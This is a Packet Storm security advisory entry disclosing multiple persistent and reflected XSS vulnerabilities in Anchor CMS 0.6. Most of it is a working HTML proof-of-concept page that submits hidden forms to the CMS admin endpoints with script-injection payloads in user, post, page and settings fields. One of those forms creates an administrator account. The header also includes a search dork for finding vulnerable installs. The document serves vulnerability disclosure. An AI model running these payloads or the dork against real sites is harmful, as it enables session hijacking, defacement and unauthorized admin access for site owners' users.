Anchor CMS 0.6 Cross Site Scripting

2012-04-21T00:00:00
ID PACKETSTORM:112062
Type packetstorm
Reporter LiquidWorm
Modified 2012-04-21T00:00:00

Description

                                        
                                            `<!--  
  
Anchor CMS v0.6 Multiple Persistent XSS Vulnerabilities  
  
Vendor: Team Anchor  
Product web page: http://www.anchorcms.com  
Affected version: 0.6-14-ga85d0a0  
  
Summary: Anchor is a content management system, written in  
PHP5, built for art-directed posts.  
  
Desc: Anchor CMS suffers from multiple stored and reflected  
XSS vulnerabilities when parsing user input to several parameters  
via GET and POST method. Attackers can exploit this weakness  
to execute arbitrary HTML and script code in a user's browser  
session.  
  
Tested on: Microsoft Windows XP Professional SP3 (EN)  
Apache 2.2.21  
PHP 5.3.8  
MySQL 5.5.20  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2012-5085  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5085.php  
  
Dork: "intext:Powered by Anchor, version 0.6"  
  
  
  
19.04.2012  
  
-->  
  
<html>  
<title>Anchor CMS v0.6 Multiple Persistent XSS Vulnerabilities</title>  
<body bgcolor="#000000">  
<script type="text/javascript">  
function xss0(){document.forms["xss0"].submit();}  
function xss1(){document.forms["xss1"].submit();}  
function xss2(){document.forms["xss2"].submit();}  
function xss3(){document.forms["xss3"].submit();}  
function xss4(){document.forms["xss4"].submit();}  
function xss5(){document.forms["xss5"].submit();}  
</script>  
  
<form action="http://localhost/anchorcms/index.php/admin/users/login" enctype="application/x-www-form-urlencoded" method="POST" id="xss0">  
<input type="hidden" name="user" value='"><script>alert(1);</script>' />  
<input type="hidden" name="pass" value="admin" />  
</form>  
  
<form action="http://localhost/anchorcms/index.php/admin/users/amnesia" enctype="application/x-www-form-urlencoded" method="POST" id="xss1">  
<input type="hidden" name="email" value='"><script>alert(1);</script>' />  
</form>  
  
<form action="http://localhost/anchorcms/index.php/admin/posts/add" enctype="application/x-www-form-urlencoded" method="POST" id="xss2">  
<input type="hidden" name="title" value='"><script>alert(1);</script>' />  
<input type="hidden" name="comments" value="1" />  
<input type="hidden" name="css" value="" />  
<input type="hidden" name="description" value="ZSL" />  
<input type="hidden" name="html" value="1" />  
<input type="hidden" name="js" value="" />  
<input type="hidden" name="slug" value='"><script>alert(2);</script>' />  
<input type="hidden" name="status" value="published" />  
</form>  
  
<form action="http://localhost/anchorcms/index.php/admin/pages/add" enctype="application/x-www-form-urlencoded" method="POST" id="xss3">  
<input type="hidden" name="name" value='"><script>alert(1);</script>' />  
<input type="hidden" name="title" value='"><script>alert(2);</script>' />  
<input type="hidden" name="content" value="Zero Science Lab" />  
<input type="hidden" name="slug" value="ZSL" />  
<input type="hidden" name="status" value="published" />  
</form>  
  
<form action="http://localhost/anchorcms/index.php/admin/users/add" enctype="application/x-www-form-urlencoded" method="POST" id="xss4">  
<input type="hidden" name="real_name" value='"><script>alert(1);</script>' />  
<input type="hidden" name="bio" value="MK" />  
<input type="hidden" name="email" value='"><script>alert(3);</script>' />  
<input type="hidden" name="password" value="admin" />  
<input type="hidden" name="role" value="administrator" />  
<input type="hidden" name="status" value="active" />  
<input type="hidden" name="username" value='"><script>alert(2);</script>' />  
</form>  
  
<form action="http://localhost/anchorcms/index.php/admin/metadata" enctype="application/x-www-form-urlencoded" method="POST" id="xss5">  
<input type="hidden" name="auto_published_comments" value="1" />  
<input type="hidden" name="description" value='"><script>alert(1);</script>' />  
<input type="hidden" name="home_page" value="1" />  
<input type="hidden" name="posts_page" value="1" />  
<input type="hidden" name="posts_per_page" value="1" />  
<input type="hidden" name="save" value="" />  
<input type="hidden" name="sitename" value='"><script>alert(2);</script>' />  
<input type="hidden" name="theme" value="default" />  
<input type="hidden" name="twitter" value='"><script>alert(3);</script>' />  
</form>  
  
<br /><br />  
  
<a href="javascript: xss0();" style="text-decoration:none">  
<b><font color="red"><h3>XSS 0</h3></font></b></a><br />  
  
<a href="javascript: xss1();" style="text-decoration:none">  
<b><font color="red"><h3>XSS 1</h3></font></b></a><br />  
  
<a href="javascript: xss2();" style="text-decoration:none">  
<b><font color="red"><h3>XSS 2</h3></font></b></a><br />  
  
<a href="javascript: xss3();" style="text-decoration:none">  
<b><font color="red"><h3>XSS 3</h3></font></b></a><br />  
  
<a href="javascript: xss4();" style="text-decoration:none">  
<b><font color="red"><h3>XSS 4</h3></font></b></a><br />  
  
<a href="javascript: xss5();" style="text-decoration:none">  
<b><font color="red"><h3>XSS 5</h3></font></b></a><br />  
  
<a href='http://localhost/anchorcms/index.php/"><script>alert(1);</script>'>XSS 6</a>  
  
</body></html>  
`